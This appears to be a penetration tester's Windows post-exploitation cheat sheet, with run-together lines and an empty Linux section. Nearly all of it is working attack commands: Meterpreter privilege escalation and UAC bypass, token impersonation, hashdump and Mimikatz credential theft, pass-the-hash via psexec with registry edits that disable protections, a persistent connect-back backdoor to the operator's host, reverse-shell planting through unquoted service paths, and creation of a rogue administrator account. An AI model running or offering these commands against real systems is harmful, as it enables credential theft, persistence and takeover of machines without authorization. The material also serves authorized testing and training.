Table of Content
- Table of Content
- Windows
- With a Meterpreter Shell
- Incognito (lateral Windows privesc)
- Unquoted Service Paths
- Dumping hashes
- Pass the Hash
- Mimikatz
- Enable RDP
- Connect-back Backdoors
- Without a Meterpreter Shell
- List running processes
- Unquoted Service Paths
- DLL search order
- Connect to RDP using a NTLM Hash
- Create a new user
- Linux
Windows
With a Meterpreter Shell
getsystemrun post/windows/gather/win_privsbypassuacIncognito (lateral Windows privesc)
Incognito is an extension built for lateral Windows privesc
use incognitolist_tokens -uimpersonate_token $USERUnquoted Service Paths
See Privilege Escalation - Unquoted Service Paths
use exploit/windows/local/trusted_service_pathshow optionsrunDumping hashes
hashdumpIf the command fails, migrate to another process, then rerun the command.
Pass the Hash
This will only work if we use an administrator account
use exploit/windows/smb/psexecshow optionsrunIf the command fails with Exploit failed [no-access], in powershell, run
Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system -Name LocalAccountTokenFilterPolicy -Value 1 -Type DWordSet-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system -Name RequireSecuritySignature -Value 0 -Type DWordand rerun the exploit.
Mimikatz
Note that Mimikatz works without errors when the meterpreter shell is attached to a 64-bit process.
ps -A x86_64 -smigrate $PIDload mimikatzwdigestEnable RDP
run getgui -eIf the user is not allowed to connect via RDP, run (in a windows shell)
net localgroup "Remote Desktop Users" $USER /addrdesktop $IP -u $USER -p $PASSWORDConnect-back Backdoors
This will generate a connect back backdoor (reverse shell but the other way around) that will try to connect to our machine at every reboot.
persistence -A -X -i 5 -p 8080 -r $OUR_IPTo get back the reverse shell, simply start a handler on port 8080
run exploit/multi/handlerWithout a Meterpreter Shell
List running processes
net startUnquoted Service Paths
This vulnerability happens when a service is configured with a path to a binary which is unquoted and contains spaces.
In that case, Windows looks for the binary in this order:
- C:\Program.exe
- C:\Program Files (x86)\Author\Program.exe
- C:\Program Files (x86)\Author\Program\SETEVENT.exe
That way, we can write a reverse shell and name it as C:\Program.exe or as C:\Program Files (x86)\Author\Program.exe. This executable would be launched when the service starts, rather than the original executable.
wmic services get name,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows//" |findstr /i /v """DLL search order
When a program is launched, the DLL search order is, generally:
- The directory of the executable
- C:\Windows\System32
- C:\windows\system
- C:\windows
- The current directory when the executable was launched
- All directories in the PATH environment variable
Connect to RDP using a NTLM Hash
xfreerdp /u:$USER /d:$DOMAIN /pth:$HASH /v:$IPCreate a new user
net user $USER $PASSWORD /addnet localgroup "Administrators" $USER /add